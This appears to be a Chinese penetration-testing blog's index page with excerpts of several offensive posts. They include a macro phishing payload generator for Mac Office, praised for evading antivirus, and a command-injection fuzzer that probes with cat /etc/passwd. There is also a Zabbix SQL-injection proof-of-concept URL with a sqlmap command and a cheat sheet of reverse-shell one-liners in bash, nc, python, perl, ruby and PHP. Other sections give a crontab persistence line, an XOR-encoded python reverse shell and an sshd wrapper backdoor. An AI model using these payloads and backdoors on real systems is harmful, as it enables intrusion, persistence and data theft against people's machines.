渗透工具

如何用一个域名搭建一套dnslog平台

如何用一个域名搭建一套dnslog平台
前几天在大土司上看到有大佬分享了一套dnslog平台代码,地址: https://github.com/LandGrey/dnstricker 该代码从最之前的BugScan的DNSLog二次开发而来,dnslog对于盲测有重要的意义。(听过CplusHua的盲攻击课程的人应该最能体会到)。下面记录的是我如何用一个域名+一台VPS完成一套dnslog平台的搭建。 1. 准备 买一了个域名coffeehb.cn 买了一台VPS Ubuntu 16.04x64 2.万网域名配置: 2.1 添加1个A记录指向我们的VPS 比如我这里: gitscan.coffeehb.cn 指向 47.52.234.114 2.2 添加2个NS记录指向,上一条的地址 比如我这里: dns.coffeehb.cn 和 dns1.coffeehb.cn 指向 gitscan.coffeehb.cn 3. 下载dnstricker代码使其跑起来 这里环境部署,依赖的模块,生成数据库操作等就不说了,GitHub的文档里有说明的。 直接说需要特别修改的配置地方。 3.1 修改dnstricker.py文件 修改dnstricker.py文件将126-128行的代码修改为实际的环境 比如我改成这样的: dns_domain = 'dns.coffeehb.cn' ip_address = '47.52.234.114' default_ip = '192.168.1.1' 3.2 修改/dnstricker/logeyes/dnslog/settings.py文件 需要修改的项和值如下: 做dns记录的域名 DNS_DOMAIN = 'dns.coffeehb.cn' 记录管理的域名 ADMIN_DOMAIN = 'dnslog.coffeehb.cn' NS域名 NS1DOMAIN = 'dns.coffeehb.cn' NS2DOMAIN = 'dns1.coffeehb.cn' 服务器外网地址 SERVERIP = '47.52.234.114' 允许的HOSTS ALLOWEDHOSTS = [".coffeehb.cn"] KEY SECRET_KEY=随便修改其中的某些位,随机的就OK 4. Nginx的配置文件 修改提供的nginx.conf文件中的server为实际环境,比如我的配置如下: 到这里所有的特殊配置就完成了,其他的那些Django的操作部分就自行解决吧。 特别注意一点,在添加前台用户的时候这个Udomain是个人唯一域名: 比如下面的测试账号: 5. 运行和测试 nohup python manage.py runserver 127.0.0.1:10101 & 登录测试账号测试DNSlog是否起作用 测试账号的Udomain为hack,所以所有的请求 *.hack.dns.coffeehb.cn的记录都会被记录下来,该用户可以通过登录控制台查看得到的。 测试命令: ping`whoami`.`hostname`.hack.dns.coffeehb.cn 测试截图如下: 6. 后话 基本完成了1个域名搭建一套自己的DNSLog的需求 nginx最好配置使用80端口,因为代码里很多跳转写死了. DNS记录和HTTP记录可以优化一下,根据IP去重不然记录的东西太多太杂了.... 继续阅读 »
渗透工具

【macphish】Office for Mac Macro Payload Generator

【macphish】Office for Mac Macro Payload Generator
Office for Mac Macro Payload Generator 一款用于Mac下Office利用宏生成反弹shell Payload的工具 GitHub开源地址: macphish 官方wiki: Usage 下面使用Mac + Office 2016 + msf的meterpreter进行测试, 根据wiki说明只能使用payload类型为python 的。 第一步:生成payload ./macphish.py -lh 127.0.0.1 -lp 65511 -p python/meterpreter/reverse_http -a meterpreter -m 第二步:制作word文件,插入宏代码 插入生成的payload文件: 第三步:打开msf监听 这里GET新技巧,可以把下面的代码保存为sh文件,配置到环境变量,比如我的Mac配置: 我这样配置以后,每次只需要打开终端,输入:startmsf 即可 最后:双击打开testme测试文档获得shell 这个工具还是很有用处,生成的payload过了大部分杀软,专门对Mac用户做钓鱼是极好的!!! 绝密:绝密文件... 继续阅读 »
渗透技巧

一个半自动化的命令注入Fuzz工具-OCIFT

一个半自动化的命令注入Fuzz工具-OCIFT
一个半自动化的命令注入Fuzz工具-OCIFT 1. OCIFT是什么 一个半自动化命令注入漏洞Fuzz工具(One Semi-automation command injection vulnerability Fuzz tool)简写为:OCIFT 2. OCIFT有什么用 这是一种半自动化的黑盒测试工具,它可以帮助渗透测试人员或代码审计人员在愉快的上网的同时,深度挖掘目标应用系统存在的命令注入漏洞。 3. OCIFT有什么特点 Payload基于Commix生成方式修改而来(需要持续完善). 基于浏览器代理的半自动化Fuzz. 多线程Fuzz速度快,不影响正常浏览器访问使用. 支持设置白名单限制Fuzz范围. 支持设置黑名单避免带来不必要的麻烦. 支持DNSLog辅助验证 4. OCIFT实现思路 基于Tornado的实现一个代理服务器,解析GET/POST请求提取Fuzz点,带入payload进行Fuzz测试。 文件结构说明 ➜ cifuzz git:(master) ✗ tree . |____run.py 主程序入口 |____dnslog.py DNSLog SDK |____fuzz.conf 配置文件 |____fuzz.py Fuzz线程 |____make_payload.py Payload生成器 |____readme.md 说明文档 5. 配置文件说明 配置各个参数,以逗号分隔 [initconfig] 黑名单HOST-为了避免带来不必要的麻烦 black_hosts =.gov,localhost,127.0.0.1,google,gstatic,cnzz.com,doubleclick,police,mil.cn,gov.cn,gov.com 静态文件黑名单-这些不做Fuzz url_ext_black =.ico,.flv,.css,.jpg,.png,.jpeg,.gif,.pdf,.ss3,.txt,.rar,.zip,.avi,.mp4,.swf,.wmi,.exe,.mpeg 白名单HOST-为了限制Fuzz的范围, 默认为空-表示对除黑名单范围外的所有地址进行Fuzz. white_site =qunar 请求超时-限制每次Fuzz请求超时时间 timeout =10 我的DnsLog地址 my_cloudeye =ano1qu2j.xfkxfk.com 判断是够注入命令执行成功的关键字 checkkeys =110586256,/bin/bash,nameserver,IPv4,Windows IP 用于测试命令注入的基本命令 base_command =cat /etc/resolv.conf,echo 110586256,cat /etc/passwd,ipconfig,ping CommandInj.{my_cloudeye},echo 110586256<nul Fuzz线程数 fuzz_count =20 fuzz的payload类型, 默认False-表示使用自定义的规则 commix_payload_type = False DnsLog登录会话ID,我用的xfkxfk牛的dnslog.xfkxfk.com dnslog_sessionid =q6wva2e3skg79vkdegra2bygft0d1 Your Domain custom_domain =a2fta2j 记录成功结果的Log文件 Logfile =rce_success_results.txt 6.如何使用 1.安装模块 pip install tornado pip install requests 2.根据自己需要完成文件fuzz.conf的配置 3.启用主程序 python run.py 8089 如下图: 4.设置浏览器代理 然后会自动开始Fuzz 7.总结 基本实现了想要的半自动化Fuzz功能 payload还需要不断优化 Github地址:OCIFT地址 欢迎大佬提出改进意见,多谢咯!!... 继续阅读 »
渗透技巧

利用scapy 造了一个Passive DNS Collector 工具—pdns_sniff

利用scapy 造了一个Passive DNS Collector 工具—pdns_sniff
利用scapy 造了一个Passive DNS Collector 工具——pdns_sniff pdns_sniff是什么? 简单理解为一个记录你发起过的DNS请求的东西,利用了Passive DNS 思路,被动的记录发起过的DNS请求。 pdns_sniff有什么用? 利用这样的工具可以帮助我在愉快的上网的同时,轻松搜集到测试目标的各种子域名。 pdns_sniff原理是什么? 利用了python里的强大的scapy套件,运用它抓取,解析出DNS请求包从而得到各种域名。使用了mysql进行数据存储,利用了gevent协程进行并发进行数据包的分析和写入数据库(PS:刚学gevent,拿来用用。) 效果图 效果图一:数据库中记录1 效果图二:数据库中记录2 效果图三:工具输出记录 效果图四:使用方法 需要安装的三方库 gevent scapy MySQLdb 需要修改的数据库配置 大概在第29行 conn = mysql.connect(user='root', passwd='yourpassword', host='127.0.0.1', db='dnslogsDB') pdns_sniff的相关代码 pdns_sniff代码... 继续阅读 »
渗透技巧

执行Shellcode的方法之Jscript.NET

执行Shellcode的方法之Jscript.NET
Execute ShellCode Via Jscript.NET Code: 点击查看Code 参考: https://codegists.com/code/python-execute-shellcode/... 继续阅读 »
渗透工具

Mac下玩耍 mitmproxy 笔记[持续补充~]

Mac下玩耍 mitmproxy 笔记[持续补充~]
Mac下玩耍 mitmproxy 笔记 1.0版本下载地址: 主要的3个文件: mitmdump mitmproxy——启动代理服务 mitmweb——web可视化界面的 如下图: 使用前的配置: 1. 配置环境变量 关于Mac下设置环境变量方法,可以参考这篇文章 配置方法 配置好环境变量后,简单验证如下: 打开终端,输入命令启动mitmproxy: mitmproxy -b 127.0.0.1 -p 8080 此时可以看到终端变成这样: 2. 配置HTTPS证书 和使用burp进行代理抓包一样,MITM也需要安装自己的证书以便抓取HTTPS的请求包。配置浏览器的代理为:127.0.0.1 端口:8080 然后打开URL地址: http://mitm.it/ 下载安装对应的操作系统证书,下面文字介绍的是如何在Mac上安装MITM证书: Apple: How to install on macOS / OSX Download PEM file (from above link) Double-click the PEM file The "Keychain Access" applications opens Find the new certificate "mitmproxy" in the list Double-click the "mitmproxy" entry A dialog window openes up Change "Secure Socket Layer (SSL)" to "Always Trust" Close the dialog window (and enter your password if prompted) Done! 对应翻译: 如何在macOS/OSX系统上安装证书: 下载PEM文件(从上面的链接) 双击PEM文件 打开“钥匙串访问应用程序 在《许可证》的mitmproxy”列表中 双击“mitmproxy”条目 弹出对话窗口openes 变化的安全套接字层(SSL)”到“永远的信任” 关闭该对话框窗口(如果你的密码和输入prompted) 这样做的! 配置后: 3. 测试MITM证书是否可用: 抓取京东登录站(https://passport.jd.com)的https请求 4. 学习MITM的命令: 启动命令: -b: 监听的地址 -p: 监听的端口 mitmproxy -b 0.0.0.0 -p 8080 查看抓包 上下选择[j/k]或者 方向键 上/下 直接回车便可以查看指标所选定的包或者鼠标点击那个位置 Tab键,切换:Request/Response 或者鼠标点击 当要查看的Response的数据很多时,输入“m”切换展现形式 mitmproxy修改抓包 在Enter进入指定的包后,输入“e”然后选择编辑的位置 拦截Request 输入字母“i”(代表Intercept filter)即可,此时界面便会让你输入想要拦截的条件: 这里的条件可以是字符串:admin 当出现被拦截的对象时,就会是标注颜色的: 如下: 然后是Enter进入选择的包,然后e 修改,最后q退到主页,然后a放行修改后的请求。 mitmproxy 拦截response 输入i,然后输入~s 就会拦截响应 拦截所有的request: ~q 拦截特定的header: ~h 拦截特定的domain: ~d 拦截特定的响应代码(404之类的): ~c... 继续阅读 »
渗透技巧

Zabbix SQL 注入漏洞[漏洞预警]

Zabbix SQL 注入漏洞[漏洞预警]
来源:网络    0x01.漏洞概述        zabbix 是一个开源的企业级性能监控解决方案。        官方网站:http://www.zabbix.com        zabbix 的 jsrpc 的 profileIdx2 参数存在 insert 方式的 SQL 注入漏洞,攻击者无需授        权登陆即可登陆 zabbix 管理系统,也可通过 script 等功能轻易直接获取 zabbix 服务        器的操作系统权限。    0x02.影响程度        攻击成本:低        危害程度:高        是否登陆:不需要        影响范围:2.0.5 2.0.13 2.2.x, 2.4.2 2.4.5 2.4.7 2.4.8 2.5.0 3.0.0-3.0.3。(其他版本未经测试)    0x03.漏洞测试        在您的 zabbix 的地址后面加上如下 url:/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&ti mestamp=1471054088083&mode=2&screenid=&groupid=&hostid =0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2 =2’3297&updateProfile=true&screenitemid=&period=3600&stim e=20170813040734&resourcetype=17&itemids%5B23297%5D=232 97&action=showlatest&filter=&filter_task=&mark_color=1        输出结果,出现如下内容表示漏洞存在:                            补充:        以上为仅为漏洞验证测试方式。        Sqlmap 验证:Sqlmap.py –u “http://xxxx//jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&ti mestamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile =history.php&profileIdx=web.item.graph&profileIdx2=2’3297&updateProfile=tr ue&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&ite mids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color =1” --dbms=mysql -–level 3 --time-sec 10 --dbs --random-agent –p “profileIdx2”    0x04.修复方案:            尽快升级到最新版, 3.0.4 版本已经修补.            安全提示            监控系统监控着每个企业的核心资产,一旦被黑客入侵控制,等同帮助黑客进一步渗透企            业敞开了大门。            请大家务必重视,并尽快修补此漏洞。... 继续阅读 »
渗透技巧

一句话开启简单的Web服务器

一句话开启简单的Web服务器
    0x01. 背景                 在渗透测试时,有时候控制了目标服务器,可以执行系统命令。为了方便直观的浏览和从目标服务器上取得一些文件,这个时候可以尝试使用系统支持的python、php或ruby命令开启一个HTTP服务器或者FTP服务器或者其他的【PS: 我不知道的】,让我们的更进一步渗透更加方便一些。下面演示的是我知道的几种开启HTTP服务器或FTP服务器的方式。    0x02. Python 开启HTTP服务器              使用Python命令:     python -m SimpleHTTPServer YourPort              SimpleHTTPServer是一个Python的模块,需要服务器安装好这个模块。             效果:              这个可以命令会以当前目录为根目录,开启一个发HTTP服务器,可以遍历目录下载想要下载的文件。    0x03.PHP 开启HTTP服务器            使用PHP命令:      php -S 0.0.0.0:8088 -t /var/   #用法: php -S IP:端口  -t 服务器根路径          从PHP5.4.0开始,就内置了一个简单的web服务器了,详细见:                                                                     http://php.net/manual/en/features.commandline.webserver.php                   执行命令后,会开启php内置的web服务器,以-t后设置的参数为根目录。              效果:               浏览器访问,可见HTTP服务器已经开启成功了,但是这个服务器默认不能遍历目录,所以要下载取得目标上的文件,需要加上他的路径请求。                 看看当前目录下有什么文件:                    我们想要下载/var/www/wwwroot.zip文件到本地,那么浏览器请求:http://192.168.64.133:8088/www/wwwroot.zip     也会解析PHP,那么是不是可以写个shell,然后用菜刀连上去更方便呢? 无限的遐想。。。    0x04.Ruby 开启HTTP服务器                使用Ruby命令:      ruby -run -ehttpd . -p3000 #  ruby -run -ehttpd 路径 -p端口                 通过执行ruby命令,在以“路径”为HTTP根目录,-p指定的端口,开启一个简单的HTTP服务器。         效果:                            0x05.Python开启FTP服务器            使用Python命令:      python -m pyftpdlib -p 2121             同样需要目标上安装pyftplib模块支持         效果:     0x06.附上两个脚本            基于BaseHTTPServer的简单上传下载脚本:                        BaseHTTPServer             FTP脚本:                        SimpleFtpServer推荐:开启Web服务... 继续阅读 »
渗透技巧

反弹Shell技巧

反弹Shell技巧
Bash:bash -i >& /dev/tcp/x.x.x.x/2333 0>&1nc:nc -e /bin/sh x.x.x.x 2333bash+nc:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc x.x.x.x 2333 >/tmp/ftelnet:mknod backpipe p && telnet x.x.x.x 2333 0<backpipe | /bin/bash 1>backpipepython:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.18",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'python:python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('x.x.x.x',2333))\nwhile 1: proc=subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"定时任务: crontab(crontab -l;printf "*/5 * * * *  /bin/nc 192.168.196.129 22222 -e /bin/sh;\rno crontab for `whoami`%100c\n")|crontab -Asp:<%system("c://Recycler//cmd.exe /c c://Recycler//nc.exe -e cmd.exe -v x.x.x.x 443");%>Rubyruby -rsocket -e'f=TCPSocket.open("10.10.14.101",65512).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'Perlperl -e 'use Socket;$i="10.10.14.101";$p=65512;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'PHPphp -r '$sock=fsockopen("10.10.14.101",65512);exec("/bin/sh -i <&3 >&3 2>&3");'小技巧:添加上bash头信息:bash头:python -c 'import pty;pty.spawn("/bin/sh")'orpython -c 'import pty;pty.spawn("/bin/bash")'SSH隧道:内网服务器:ssh -R 9998:localhost:22 root@202.112.12.31 输入你公网LinuxVPS的密码后,建立一个SSH隧道,会在202.112.12.31上面开一个端口,通向内网这个机器的。公网VPS:ssh localhost 9998演示图:python脚本版:原地址:http://www.primalsecurity.net/0x2-python-tutorial-reverse-shell/VPS接收端:import socket    s= socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(("0.0.0.0", 10517)) -- 监听反弹回来的端口 s.listen(2) print "Listening on port 10517... " (client, (ip, port)) = s.accept() print " Received connection from : ", ip   while True:  command = raw_input('~$ ')  encode = bytearray(command)  for i in range(len(encode)):    encode[i] ^=0x41  client.send(encode)  en_data=client.recv(2048)  decode = bytearray(en_data)  for i in range(len(decode)):    decode[i] ^=0x41  print decode   client.close() s.close()目标机器上:#!/usr/bin/python   import socket,subprocess,sys   RHOST = sys.argv[1] RPORT = 10517  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((RHOST, RPORT))   while True:      # recieve XOR encoded data from network socket      data = s.recv(1024)        # XOR the data again with a '\x41' to get back to normal data      en_data = bytearray(data)      for i in range(len(en_data)):        en_data[i] ^=0x41        # Execute the decoded data as a command.  The subprocess module is great because we can PIPE STDOUT/STDERR/STDIN to a variable      comm = subprocess.Popen(str(en_data), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)      STDOUT, STDERR = comm.communicate()        # Encode the output and send to RHOST      en_STDOUT = bytearray(STDOUT)      for i in range(len(en_STDOUT)):        en_STDOUT[i] ^=0x41      s.send(en_STDOUT) s.close()展示效果:... 继续阅读 »
学习笔记

渗透技巧之SSH篇

渗透技巧之SSH篇
1、入侵得到SHELL后,想快速开放一个可以访问的SSH端口ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337;就会派生一个31337端口,然后连接31337,用root/bin/ftp/mail当用户名,密码随意,就可登陆。2、做一个SSH wrapper后门,效果比第一个好,没有开放额外的端口,只要对方开了SSH服务,就能远程连接肉鸡上执行:[root@localhost ~]# cd /usr/sbin [root@localhost sbin]# mv sshd ../bin [root@localhost sbin]# echo '#!/usr/bin/perl' >sshd [root@localhost sbin]# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd [root@localhost sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd [root@localhost sbin]# chmod u+x sshd [root@localhost sbin]# /etc/init.d/sshd restart自己机器上执行socat STDIO TCP4:10.18.180.20:22,sourceport=133773、记录SSH客户端连接密码效果图... 继续阅读 »